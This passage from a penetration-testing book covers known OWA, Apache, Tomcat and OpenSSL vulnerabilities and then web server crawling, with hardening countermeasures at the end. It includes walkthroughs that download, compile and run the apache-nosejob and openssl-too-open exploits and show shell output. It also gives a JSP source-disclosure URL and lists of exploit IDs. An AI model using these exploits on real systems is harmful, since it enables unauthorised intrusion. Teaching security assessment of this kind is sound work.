Upon identifying an IIS web server running Microsoft Exchange Server OWA, we can attack the components requiring authentication using a brute-force password grinding attack and perform cross-site scripting and redirection attacks to compromise user sessions. Remotely exploitable vulnerabilities in OWA components, as found in MITRE CVE, are listed in Table 6-11.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>MS advisory</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1052</td>
<td>N/A</td>
<td>Exchange 2003 OWA does not properly display comma-separated addresses in an email message, allowing attackers to spoof email addresses.</td>
</tr>
<tr>
<td>CVE-2005-0563</td>
<td>MS05-029</td>
<td>Exchange 5.5 OWA email message IMG tag cross-site scripting bug.</td>
</tr>
<tr>
<td>CVE-2005-0420</td>
<td>N/A</td>
<td>Exchange 2003 OWA allows remote attackers to redirect users to arbitrary URLs via owalogon.asp.</td>
</tr>
<tr>
<td>CVE-2003-0904</td>
<td>MS04-002</td>
<td>Exchange 2003 OWA allows users to view mailboxes of others when Kerberos has been disabled.</td>
</tr>
<tr>
<td>CVE-2003-0712</td>
<td>MS03-047</td>
<td>Exchange 5.5 OWA Compose New Message form cross-site scripting bug.</td>
</tr>
<tr>
<td>CVE-2002-0507</td>
<td>N/A</td>
<td>RSA SecurID authentication bypass issue relating to previous user logon using multiple OWA authentication requests with the correct user password.</td>
</tr>
<tr>
<td>CVE-2001-0726</td>
<td>MS01-057</td>
<td>Exchange 5.5 OWA HTML email message processing bug, allowing attackers to perform arbitrary actions on a given user mailbox.</td>
</tr>
<tr>
<td>CVE-2001-0660</td>
<td>MS01-047</td>
<td>Exchange 5.5 OWA public folders and user details information leak bug.</td>
</tr>
<tr>
<td>CVE-2001-0340</td>
<td>MS01-030</td>
<td>Exchange 2000 OWA HTML email message processing bug, resulting in arbitrary script execution.</td>
</tr>
</tbody>
</table>

MSF, CORE IMPACT, and Immunity CANVAS exploitation frameworks have no support for these OWA issues at the time of this writing. Most issues are cross-site scripting and user redirection bugs, allowing attackers to compromise session ID values and access OWA, but requiring a degree of manual crafting and preparation to undertake.

Apache Web Server and Subsystem Vulnerabilities

The Apache Software Foundation (http://www.apache.org) provides support for the Apache community of open source software projects. From an Internet-based penetration testing perspective, the following Apache web services are of interest:

- Apache HTTP Server (http://httpd.apache.org)
- Apache Tomcat (http://tomcat.apache.org)
Apache HTTP Server is a modular and extensible web service, supporting a number of features. Apache Tomcat is a web service used to present and run Java Servlet Pages (JSP) web applications. Vulnerabilities in these web server packages and subsystems (modules in particular) are covered in this section.

**Apache HTTP Server**

Apache HTTP Server has a number of known remotely exploitable issues, primarily relating to information leak, cross-site scripting, and CGI script issues. Table 6-12 lists known issues and their CVE references, including three bugs that can result in arbitrary code execution.

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-3571</td>
<td>Apache on NetWare 6.5</td>
<td>Internal IP address disclosure issue.</td>
</tr>
<tr>
<td>CVE-2007-1862</td>
<td>Apache 2.2.4</td>
<td>The <code>recalls_header()</code> function does not properly copy all header data, which can cause Apache to return HTTP headers containing old data, revealing sensitive information.</td>
</tr>
<tr>
<td>CVE-2006-6675</td>
<td>Apache 2.0.48 on NetWare 6.5</td>
<td>Welcome web application cross-site scripting vulnerability.</td>
</tr>
<tr>
<td>CVE-2006-4110</td>
<td>Apache 2.2.2 on Windows</td>
<td>Uppercase characters bypass the case-sensitive ScriptAlias directive, allowing for CGI source code to be read.</td>
</tr>
<tr>
<td>CVE-2006-3918</td>
<td>Apache 1.3.34, 2.0.57, and 2.2.1</td>
<td><code>http_protocol.c</code> does not sanitize the Expect header from an HTTP request, allowing cross-site scripting.</td>
</tr>
<tr>
<td>CVE-2005-2088</td>
<td>Apache 1.3.33 and 2.0.54</td>
<td>Apache, when running as a web proxy, allows attackers to poison the web cache, bypass web application firewall protection, and conduct cross-site scripting attacks; aka the HTTP request smuggling vulnerability, which affects a number of web servers.</td>
</tr>
<tr>
<td>CVE-2004-1084 and CVE-2004-1083</td>
<td>Apache for MacOS X 10.2.8 and 10.3.6</td>
<td>HTTP requests for special filenames such as HFS+ datastreams bypass Apache file handles and allow attackers to read files.</td>
</tr>
<tr>
<td>CVE-2004-0173</td>
<td>Apache 1.3.29 and 2.0.48 running through Cygwin</td>
<td>Directory traversal bug, allows attackers to read arbitrary files using “dot-dot encoded backslash” sequences.</td>
</tr>
<tr>
<td>CVE-2003-1138</td>
<td>Apache 2.0.40 on Red Hat 9.0</td>
<td>Attackers can list directory contents via GET requests containing double slashes (/).</td>
</tr>
<tr>
<td>CVE-2003-0245</td>
<td>Apache 2.0.37 to 2.0.45</td>
<td>The Apache Portable Runtime (APR) library allows remote attackers to execute arbitrary code via long strings.</td>
</tr>
<tr>
<td>CVE-2002-1592</td>
<td>Apache 2.0.35</td>
<td><code>ap_log_error()</code> sends verbose CGI application error messages, allowing attackers to obtain sensitive information, including the full path to the CGI script.</td>
</tr>
<tr>
<td>CVE-2002-1156</td>
<td>Apache 2.0.42</td>
<td>Attackers can view the source code of a given CGI script via a POST request to a directory with both WebDAV and CGI execution enabled.</td>
</tr>
<tr>
<td>CVE-2002-0661</td>
<td>Apache 2.0.39 on Windows, OS2, and Netware</td>
<td>Remote attackers can read arbitrary files and execute commands via dot-dot sequences.</td>
</tr>
</tbody>
</table>
Investigating Known Vulnerabilities

MSF, CORE IMPACT, and Immunity CANVAS support CVE-2002-0392 (Apache 1.3.24 chunked encoding exploit), for Windows targets at the time of this writing. Exploitation frameworks do not support any of the other issues listed in Table 6-12, but the milw0rm site (http://www.milw0rm.com) has a number of useful Apache exploits, including some DoS attack scripts.

A standalone BSD exploit is available for CVE-2002-0392, as demonstrated in the following section.


The tool is effective against the following BSD platforms and Apache versions:

- FreeBSD 4.5 running Apache 1.3.23
- OpenBSD 3.0 running Apache 1.3.20, 1.3.20, and 1.3.24
- OpenBSD 3.1 running Apache 1.3.20, 1.3.23, and 1.3.24
- NetBSD 1.5.2 running Apache 1.3.12, 1.3.20, 1.3.22, 1.3.23, and 1.3.24

*apache-monster* (http://examples.oreilly.com/networksa/tools/monster5.tar.gz) is a similar exploit with a number of FreeBSD offsets not included in *apache-nosejob*. Example 6-29 shows how to download, compile, and run the *apache-nosejob* tool to produce its usage and command-line options.

**Example 6-29. Downloading, building, and running apache-nosejob**

```
$ wget http://packetstormsecurity.org/0206-exploits/apache-nosejob.c
$ cc -o apache-nosejob apache-nosejob.c
$ ./apache-nosejob
```

Usage: ./apache-nosejob <-switches> -h host[:80]

- `-h host[:port]` Host to penetrate
- `-t #` Target id.
- `-char` Default values for the following OSes (f)reebsd, (o)penbsd, (n)etbsd

---

**Table 6-12. Remotely exploitable Apache HTTP Server vulnerabilities (continued)**

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0392</td>
<td>Apache 1.3.24 and 2.0.36 and earlier running on BSD and Windows systems</td>
<td>Chunk-handling vulnerability, resulting in a heap overflow, allowing for arbitrary code to be executed.</td>
</tr>
<tr>
<td>CVE-2002-0061</td>
<td>Apache for Win32 earlier than 1.3.24 and 2.0.34 beta</td>
<td>Attackers can execute arbitrary commands via shell meta characters.</td>
</tr>
<tr>
<td>CVE-2001-0925</td>
<td>Apache 1.3.19</td>
<td>Attackers can list directory contents using an HTTP request containing many slash (/) characters.</td>
</tr>
</tbody>
</table>
Chapter 6: Assessing Web Servers

There are a number of arguments you can provide to set different base addresses and memcpy() delta values. If you know the operating platform and Apache version running on the target host (OpenBSD 3.1 and Apache 1.3.24 in this case), you can use default values relating to that target, as shown in Example 6-30.

Example 6-30. Compromising an OpenBSD 3.1 host running Apache 1.3.24

$ ./apache-nosejob -h 192.168.0.31 -oo
[*] Resolving target host.. 192.168.0.31
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
[*] Currently using retaddr 0x99200
[*] Currently using retaddr 0xb2e00
uid=32767(nobody) gid=32767(nobody) group=32767(nobody)
Because you are exploiting a process that is being run by an unprivileged user, you must use local exploit scripts to elevate your privileges. In some cases, services are run in a *chroot* jail to protect areas of the disk and underlying operating system in the event of an overflow or process manipulation attack. You can circumvent such “chrooted” environments by using chroot-escaping shellcode within the remote exploit.

**Apache HTTP Server modules**

Apache is an extensible web server with modular support akin to Microsoft IIS ISAPI extensions and subsystems. Numerous Apache modules have significant remotely exploitable weaknesses, as disclosed over recent years. These are listed in Table 6-13.

Table 6-13. Remotely exploitable Apache module vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1359</td>
<td>mod_security 2.1.0</td>
<td>Interpretation conflict allows attackers to bypass request rules using ASCII byte requests.</td>
</tr>
<tr>
<td>CVE-2007-0774</td>
<td>mod_jk 1.2.19 and 1.2.20</td>
<td>map_uri_to_worker() function stack overflow resulting in arbitrary code execution through the Tomcat JK Web Server Connector.</td>
</tr>
<tr>
<td>CVE-2006-4154</td>
<td>mod_tcl 1.0 for Apache 2.x</td>
<td>Format string bugs allow context-dependent attackers to execute arbitrary code via format string specifiers that are not properly handled.</td>
</tr>
<tr>
<td>CVE-2006-3747</td>
<td>mod_rewrite in Apache 1.3.28, 2.0, 58, and 2.2</td>
<td>Off-by-one error in the LDAP scheme handling, when RewriteEngine is enabled, allowing remote attackers to cause DoS and possibly execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2006-0150</td>
<td>auth_ldap 1.6.0</td>
<td>Multiple format string vulnerabilities in the auth_ldap_log_reason() function allows remote attackers to execute arbitrary code via various vectors, including the user-name.</td>
</tr>
<tr>
<td>CVE-2005-3352</td>
<td>mod_imap in Apache 2.0.55</td>
<td>Cross-site scripting bug allows remote attackers to inject arbitrary web script or HTML via the Referer: field.</td>
</tr>
<tr>
<td>CVE-2004-1765</td>
<td>mod_security 1.7.2 for Apache 2.x</td>
<td>Off-by-one overflow, allowing remote attackers to execute arbitrary code via crafted POST requests.</td>
</tr>
<tr>
<td>CVE-2004-1082</td>
<td>mod_digest_apple for Apache 1.3.32 on Mac OS X</td>
<td>Authentication bypass, allowing session replay by attackers.</td>
</tr>
<tr>
<td>CVE-2004-0700</td>
<td>mod_ssl 2.8.19</td>
<td>ssl_log() format string vulnerability relating to mod_proxy hook functions, resulting in arbitrary code execution.</td>
</tr>
<tr>
<td>CVE-2004-0492</td>
<td>mod_proxy in Apache 1.3.31</td>
<td>Heap overflow from a negative Content-Length HTTP header field, resulting in DoS and potential arbitrary code execution.</td>
</tr>
<tr>
<td>CVE-2004-0488</td>
<td>mod_ssl 2.8.16</td>
<td>ssl_util_uuencode_binary() remote arbitrary code execution via a client certificate with a long subject Distinguished Name (DN).</td>
</tr>
</tbody>
</table>
Chapter 6: Assessing Web Servers

Of the issues in Table 6-13, CORE IMPACT, Immunity CANVAS (using the Argeniss ultimate 0day exploits pack), and MSF support CVE-2007-0774 (mod_jk 1.2.20 stack overflow). The issue affects both the Tomcat web server and the Apache mod_jk module.

Milw0rm has a number of other Apache module exploits, available from http://www.milw0rm.com/exploits/<exploit ID>, as listed in Table 6-14.

Table 6-14. Apache module exploits from milw0rm.com

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Exploit notes</th>
<th>Exploit ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1359</td>
<td>mod_security 2.1.0 ASCIIZ byte attack resulting in filter bypass</td>
<td>3425</td>
</tr>
<tr>
<td>CVE-2007-0774</td>
<td>mod_jk 1.2.20 exploit for SuSE and Debian Linux targets</td>
<td>4093</td>
</tr>
<tr>
<td>CVE-2007-0774</td>
<td>mod_jk 1.2.20 exploit for Fedora Core 5 and 6 Linux targets</td>
<td>4162</td>
</tr>
<tr>
<td>CVE-2006-3747</td>
<td>mod_rewrtie exploit for Apache 2.0.58 on Windows 2003</td>
<td>3996</td>
</tr>
<tr>
<td>CVE-2006-3747</td>
<td>mod_rewrtie exploit for Apache 2.0.58 on Windows 2003</td>
<td>3860</td>
</tr>
</tbody>
</table>

Apache Tomcat

The Apache Tomcat JSP container has a number of remotely exploitable issues, as listed in Table 6-15.
Table 6-15. Remotely exploitable Apache Tomcat vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected software</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2450</td>
<td>Tomcat 6.0.13 and earlier</td>
<td>Multiple cross-site scripting bugs in Tomcat Manager and Host Manager web applications.</td>
</tr>
<tr>
<td>CVE-2007-2449</td>
<td>Tomcat 6.0.13 and earlier</td>
<td>Multiple cross-site scripting bugs in the example JSP scripts included with Tomcat, including snoop.jsp.</td>
</tr>
<tr>
<td>CVE-2007-1858</td>
<td>Tomcat 5.5.17 to 4.1.28</td>
<td>The default SSL cipher configuration uses certain insecure ciphers, including the anonymous cipher, which allows remote attackers to obtain sensitive information.</td>
</tr>
<tr>
<td>CVE-2007-1358</td>
<td>Tomcat 4.1.34 and earlier</td>
<td>Multiple cross-site scripting bugs allowing attackers to inject arbitrary web script via crafted Accept-Language headers that do not conform to RFC 2616.</td>
</tr>
<tr>
<td>CVE-2007-0774</td>
<td>Tomcat 5.5.20 and 4.1.34</td>
<td>map_uri_to_worker() overflow, as found in Apache Tomcat JK Web Server Connector (mod_jk) and as used in Tomcat 4.1.34 and 5.5.20, allows remote attackers to execute arbitrary code via a long URL that triggers the overflow in a URL worker map routine.</td>
</tr>
<tr>
<td>CVE-2007-0450</td>
<td>Tomcat 6.0.10 to 5.0.0</td>
<td>Directory traversal vulnerability in Apache HTTP Server and Tomcat; when using certain proxy modules (mod_proxy, mod_rewrite, mod_jk), allows remote attackers to read arbitrary files via characters that are valid separators in Tomcat but not in Apache.</td>
</tr>
<tr>
<td>CVE-2006-7197</td>
<td>Tomcat 5.5.15</td>
<td>The AJP connector uses an incorrect length for chunks, which can cause a buffer overread in ajp_process_callback() in mod_jk, which allows remote attackers to read portions of sensitive memory.</td>
</tr>
<tr>
<td>CVE-2006-7196</td>
<td>Tomcat 5.5.15 to 4.0.0</td>
<td>Cross-site scripting bug in the calendar application allows remote attackers to inject arbitrary web script.</td>
</tr>
<tr>
<td>CVE-2006-7195</td>
<td>Tomcat 5.5.17 to 5.0.0</td>
<td>Cross-site scripting bug in implicit-objects.jsp allows remote attackers to inject arbitrary web script or HTML via certain header values.</td>
</tr>
<tr>
<td>CVE-2006-3835</td>
<td>Tomcat 5.5.17 to 5.0.0</td>
<td>Remote attackers can list directories via a semicolon preceding a filename with a mapped extension, as demonstrated by /index.jsp and /help.do.</td>
</tr>
<tr>
<td>CVE-2005-4836</td>
<td>Tomcat 4.1.15 and earlier</td>
<td>The HTTP/1.1 connector does not reject NULL bytes in a URL when allowLinking is configured, which allows remote attackers to read JSP source files.</td>
</tr>
<tr>
<td>CVE-2002-2009</td>
<td>Tomcat 4.0.1</td>
<td>Remote attackers can obtain the web root path via HTTP requests for JSP files preceded by +/-, &gt;=, &lt;=, %20/, which leaks the pathname in an error message.</td>
</tr>
<tr>
<td>CVE-2002-2008</td>
<td>Tomcat 4.0.3 on Windows</td>
<td>Remote attackers can obtain sensitive information via a request for a file that contains an MS-DOS device name, which leaks the pathname in an error message, as demonstrated by /pt9.xtp using Nikto.</td>
</tr>
<tr>
<td>CVE-2002-2007</td>
<td>Tomcat 3.2.3 and 3.2.4</td>
<td>Remote attackers can obtain sensitive system information, such as directory listings and the web root path, via erroneous HTTP requests to numerous test and sample JSP scripts and directories.</td>
</tr>
<tr>
<td>CVE-2002-2006</td>
<td>Tomcat 4.1 and earlier</td>
<td>SnoopServlet and Troubleshooter example servlets reveal installation path and other sensitive information.</td>
</tr>
</tbody>
</table>
Most of these issues are cross-site scripting, relating to Tomcat serving back verbose error messages and details when JSP scripts are called. Source code disclosure issues result in JSP scripts and other files being read through Tomcat.

**Tomcat JSP source code disclosure.** CVE-2002-1394 and CVE-2002-1148 are easily exploited, revealing JSP source code on Tomcat 4.0.5 and prior installations, using the following URL strings to bypass restrictions server-side:

```
/servlet/org.apache.catalina.servlets.DefaultServlet/login.jsp
```

So, to view `/login.jsp` or `/jsp/snoop.jsp` on a given vulnerable Tomcat server, we use either technique:

```
http://www.example.org/servlet/org.apache.catalina.servlets.DefaultServlet/login.jsp
```

**OpenSSL**

At the time of this writing, the MITRE CVE list details some serious vulnerabilities in OpenSSL (not including DoS or locally exploitable issues), as shown in Table 6-16.

**Table 6-16. Remotely exploitable OpenSSL vulnerabilities**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0545</td>
<td>29/09/2003</td>
<td>Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding.</td>
</tr>
<tr>
<td>CVE-2002-0656</td>
<td>30/07/2002</td>
<td>OpenSSL 0.9.7-b2 and 0.9.6d SSL2 client master key overflow.</td>
</tr>
</tbody>
</table>

In terms of commercial exploitation frameworks, CORE IMPACT supports both CVE-2003-0545 (OpenSSL 0.9.7d double-free bug) and CVE-2002-0656 (OpenSSL 0.9.7-b2 and 0.9.6d client master key overflow). Immunity CANVAS only supports CVE-2002-0656 at this time. There is no publicly available exploit for CVE-2003-0545 at the time of this writing, but details of reliable CVE-2002-0656 exploits follow.
OpenSSL client master key overflow (CVE-2002-0656) exploits

Two public exploit tools are available for CVE-2002-0656, as follows:

http://packetstormsecurity.org/0209-exploits/openssl-too-open.tar.gz
http://packetstormsecurity.org/0209-exploits/apache-ssl-bug.c

Examples 6-31 and 6-32 show the openssl-too-open toolkit compromising a vulnerable Red Hat Linux 7.2 server. First, download and build the tool in a Linux environment, as shown in Example 6-31.

Example 6-31. Downloading, building, and running openssl-too-open

$ wget packetstormsecurity.org/0209-exploits/openssl-too-open.tar.gz
$ tar xvfz openssl-too-open.tar.gz
openssl-too-open/
openssl-too-open/Makefile
openssl-too-open/main.h
openssl-too-open/ssl2.c
openssl-too-open/ssl2.h
openssl-too-open/main.c
openssl-too-open/linux-x86.c
openssl-too-open/README
openssl-too-open/scanner.c
$ cd openssl-too-open
$ make
gcc -g -O0 -Wall -c main.c
gcc -g -O0 -Wall -c ssl2.c
gcc -g -O0 -Wall -c linux-x86.c
gcc -g -O0 -Wall -c scanner.c
gcc -g -lcrypto -o openssl-too-open main.o ssl2.o linux-x86.o
gcc -g -lcrypto -o openssl-scanner scanner.o ssl2.o
$ ./openssl-too-open
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./openssl-too-open [options] <host>
-a <arch> target architecture (default is 0x00)
-p <port> SSL port (default is 443)
-c <N> open N connections before sending the shellcode
-m <N> maximum number of open connections (default is 50)
-v verbose mode

Supported architectures:
0x00 - Gentoo (apache-1.3.24-r2)
0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
0x02 - Slackware 7.0 (apache-1.3.26)
0x03 - Slackware 8.1-stable (apache-1.3.26)
0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
Example 6-31. Downloading, building, and running openssl-too-open (continued)

- 0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
- 0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
- 0x0c - SuSE Linux 7.0 (apache-1.3.12)
- 0x0d - SuSE Linux 7.1 (apache-1.3.17)
- 0x0e - SuSE Linux 7.2 (apache-1.3.19)
- 0x0f - SuSE Linux 7.3 (apache-1.3.20)
- 0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
- 0x11 - SuSE Linux 8.0 (apache-1.3.23)
- 0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
- 0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
- 0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
- 0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
            ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80

At this point, the openssl-too-open exploit script is compiled and ready to be run. Solar Eclipse includes a second useful tool in this package, called openssl-scanner:

```bash
$ ./openssl-scanner
Usage: openssl-scanner [options] <host>
    -i <inputfile>     file with target hosts
    -o <outputfile>    output log
    -a                 append to output log (requires -o)
    -b                 check for big endian servers
    -C                 scan the entire class C network
    -d                 debug mode
    -w N               connection timeout in seconds

Examples: openssl-scanner -d 192.168.0.1
          openssl-scanner -i hosts -o my.log -w 5
```

The openssl-scanner utility checks SSL instances running on TCP port 443 for the SSLv2 large client key overflow vulnerability. Upon identifying a vulnerable server and obtaining the operating platform (Red Hat Linux, BSD-derived, or others), an attacker can use the openssl-too-open exploit to compromise the target host, as shown in Example 6-32.

Example 6-32. Compromising a Red Hat 7.2 host running Apache 1.3.20

```
$ ./openssl-too-open -a 0x09 192.168.0.25
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <solareclipse@phreedom.org>

: Opening 30 connections
Establishing SSL connections

: Using the OpenSSL info leak to retrieve the addresses
ss10 : 0x8154c70
ss11 : 0x8154c70
ss12 : 0x8154c70
```
Basic Web Server Crawling

After investigating and qualifying known vulnerabilities in the target web server at an infrastructure level, it is important to step up through the OSI layers from network testing into application testing. The first step undertaken by a remote, unauthenticated attacker to test for further weaknesses within the web service, its files and publicly available components, and applications, is to perform web server crawling.

Often, sloppy web developers and administrators leave materials on a web server (such as backup files, source code, or data files), which can be used by attackers to compromise the web server. These files are identified using web server crawling and fuzzing processes, checking for backup or temporary versions of files that are found, and so on.

The input values that web scripts and applications are using to serve data and content back to the web client are also clear to see upon web crawling through a site; these values can be manually modified to perform directory traversal and other attacks. Web application testing is covered in the next chapter, and so we will focus on basic web server crawling here, which is used to identify poorly protected data and content that provides useful insight into the web server and its configuration.

The following scanning tools are useful when performing bulk automated scanning of accessible web services to identify issues:

- Nikto (http://www.cirt.net)
- Wikto (http://www.sensepost.com/research/wikto/)
- N-Stalker (http://www.nstalker.com)
Wikto is an excellent tool that combines Nikto functionality with other unique features, and so I cover this tool here. N-Stalker has become much more of an application testing tool over recent years, and so it is covered in the next chapter.

**Wikto**

Wikto is a Windows-based web server assessment tool based around Nikto. It performs a number of useful web assessment tasks, including:

- Basic web server crawling and spidering
- Google data mining of directories and links
- Brute-force fuzzing to identify accessible directories and files
- Nikto testing for vulnerable server-side components
- Google Hacks tests to identify poorly protected content

Figures 6-6 and 6-7 show Wikto performing HTTP scanning of a web server, identifying a number of accessible directories (including `/cgi-bin/`, `/stats/`, and Microsoft FrontPage directories), and files of interest.

![Figure 6-6. Wikto scanning for default folders and files](image)

---

156 | Chapter 6: Assessing Web Servers
Brute-Forcing HTTP Authentication

When assessing large environments, analysts often encounter basic HTTP authentication prompts. By launching brute-force password-grinding attacks against these authentication mechanisms, an attacker can gain access to potentially sensitive information or system components (web application backend management systems, etc.).

In particular, THC Hydra and Brutus brute-force tools are exceptionally good at launching parallel brute-force password grinding attacks against basic web authentication mechanisms. The tools are available from the following locations and are discussed throughout this book with working examples:

[Links to THC Hydra and Brutus tools]

As discussed earlier in this chapter, HTTP NTLM authentication mechanism brute force must be undertaken using a custom-written Nikto plug-in (nikto_ntlm.plugin), discussed in Justin Clarke and Nitesh Dhanjani’s Network Security Tools.
Web Servers Countermeasures

The following countermeasures should be considered by administrators to harden web servers:

- You should ensure that all Internet-based server software and components (Microsoft IIS, Apache, OpenSSL, PHP, mod_perl, etc.) have up-to-date patches and are configured to prevent known public exploits and attack techniques from being successful.
- If you don’t use script languages (such as PHP or Perl) in your web environment, ensure that associated Apache components such as mod_perl and PHP are disabled. Increasingly, vulnerabilities in these subsystems are being identified as attackers find fewer bugs in core server software.
- Many buffer overflow exploits use connect-back shellcode to spawn a command shell and connect back to the attacker’s IP address on a specific port. In a high-security environment I recommend using egress filtering to prevent unnecessary outbound connections (so that web servers can send traffic outbound only from TCP port 80, for example). In the event of new vulnerabilities being exploited, good egress network filtering can flag suspicious outbound connections from your web servers and buy you time.
- Prevent indexing of accessible directories if no index files are present (e.g., default.asp, index.htm, index.html, etc.) to prevent web crawlers and opportunistic attackers from compromising sensitive information.
- Don’t expose script debugging information to public web users if a crash or application exception occurs within your web server or application-tier software.

Here are Microsoft-specific recommendations:

- Microsoft has published security checklists and tools for best practice IIS configuration, including URLScan and the IIS lockdown tool available from http://www.microsoft.com/technet/archive/security/chklist/iis5cl.mspx.
- Under IIS, ensure that unnecessary ISAPI extension mappings are removed (such as .ida, .idq, .htw, .htr, and .printer).
- Don’t run Outlook Web Access at a predictable web location (for instance, /owa, /exchange, or /mail), and use SSL in high-security environments to prevent eavesdropping. Ideally, remote access to Exchange and other services should be provided through a VPN tunnel.
- Minimize use of executable directories, especially defaults such as /isadmpwd, /msadc, /scripts, and _vti_bin that can be abused in conjunction with Unicode attacks or even backdoor tools to retain server access.
• Disable support for unnecessary HTTP 1.1 methods such as PUT, DELETE, SEARCH, PROPFIND, and CONNECT. These unnecessary IIS features are increasingly used to compromise servers.

• If the PUT method is used, ensure that no world-writable directories exist (especially those that are both world-writable and executable).
CHAPTER 7

Assessing Web Applications

This chapter details assessment of web applications found running on web servers. A number of technologies and platforms are used by organizations to run and support web applications, including Microsoft ASP.NET, Sun JSP, and PHP. Upon performing web server assessment and crawling to identify web application components and variables, we can perform deep manual web application testing to compromise backend server components through command injection and other attacks.

Web Application Technologies Overview

Web applications are built and delivered using technologies and protocols across three layers:

- Presentation tier
- Application tier
- Data tier

Figure 7-1 (as prepared by the OWASP team) shows these layers and associated web browser, web server, application server, and database technologies, along with the protocols that allow data to be exchanged between tiers.

Vulnerabilities can exist in any of these tiers, so it is important to ensure that even small exposures can’t be combined to result in a compromise. From a secure design and development perspective, you must filter and control data flow between the three tiers.

Fingerprinting and assessment of web servers is covered in Chapter 6. In this chapter we detail fingerprinting of application server and backend database components, and assessment of configuration and code running within the application and data tiers.
The first step when performing web application assessment is to profile the web application and try to understand the underlying technologies and architecture. Web application testing tools such as Paros (http://www.parosproxy.org) and Wikto (http://www.sensepost.com/research/wikto/) are useful when performing this initial profiling, as they provide insight into the server-side directory structure. Paros provides additional low-level HTTP traffic analysis, so we can look at session ID and other variables.

Along with web server assessment techniques (covered in Chapter 6), we can use the following approaches to profile the web application and associated technologies:
• HTML source review
• Analysis of server-side file extensions
• Session ID fingerprinting
• Active backend database technology assessment

After reviewing these sources, you should have an understanding of the web application and its configuration. These profiling techniques are detailed in the following sections.

HTML Source Review

Upon crawling a website or application, it is useful to manually or automatically sift through the HTML source code to look for interesting data and insight into the web application configuration. Interesting components are as follows:

• HTML comments providing data (including hostnames, email addresses, and usernames)
• Hidden fields that are passed to scripts
• Client-side scripts, which provide insight into server-side processes

Manual HTML sifting and analysis

The first step when performing manual HTML sifting and analysis is to mirror the remote web server to your local system. GNU Wget (http://www.gnu.org/software/wget/) is a noninteractive network retriever used to fetch HTML content by recursively crawling a website and saving the contents on your local machine. Example 7-1 shows Wget used to spider and mirror a web site at http://www.example.org.

Example 7-1. Mirroring a web site using GNU Wget

$ wget -r -m -nv http://www.example.org/
Example 7-1. Mirroring a web site using GNU Wget (continued)

Wget creates the subdirectory **www.example.org** and begins to crawl the target site and store retrieved files locally. Once finished, you can use the Unix tree command, as shown in Example 7-2, to display the web site and its files.

Example 7-2. Using the tree command to review the mirrored files

```
$ tree
.
|-- www.example.org
   |-- catalogue
   |   |-- catalogue.jsp?id=0
   |   |-- catalogue.jsp?id=1
   |   |-- catalogue.jsp?id=2
   |   |-- catalogue.jsp?id=3
   |   `-- index.html
   |-- guestbook
   |   |-- addguest.html
   |   `-- guestbook.html
   `-- images
      |-- falls.jpg
      |   |-- fl_thumb.jpg
      |   `-- flower.jpg
      `-- mn_thumb.jpg
         |-- montrey.jpg
         |   |-- tahoe1.jpg
         |   `-- th_thumb.jpg
```

Wget creates the subdirectory **www.example.org** and begins to crawl the target site and store retrieved files locally. Once finished, you can use the Unix tree command, as shown in Example 7-2, to display the web site and its files.
You can manually review the HTML files by opening them in a text editor or using a tool such as grep to search for interesting data fields. Table 7-1 shows useful grep search patterns.

<table>
<thead>
<tr>
<th>HTML element</th>
<th>Pattern</th>
<th>grep syntax</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client-side script</td>
<td><code>&lt;SCRIPT</code></td>
<td>grep –r -i <code>&lt;script</code> <code>*</code></td>
</tr>
<tr>
<td>Email addresses</td>
<td>@</td>
<td>grep –r <code>-i</code> <code>@</code> <code>*</code></td>
</tr>
<tr>
<td>Hidden form fields</td>
<td><code>TYPE=HIDDEN</code></td>
<td>grep –r -i <code>type=hidden</code> <code>*</code></td>
</tr>
<tr>
<td>HTML comments</td>
<td><code>&lt;!-- --&gt;</code></td>
<td>grep –r <code>-i</code> <code>&lt;-- --&gt;</code></td>
</tr>
<tr>
<td>Hyperlinks</td>
<td><code>HREF, ACTION</code></td>
<td>grep –r -i `href=</td>
</tr>
<tr>
<td>Metadata</td>
<td><code>&lt;META</code></td>
<td>grep –r -i <code>&lt;meta</code> <code>*</code></td>
</tr>
</tbody>
</table>

Example 7-3 shows grep output from searching the www.example.org files for hidden form fields.

```bash
$ cd www.example.org
$ grep –r -i 'type=hidden' *
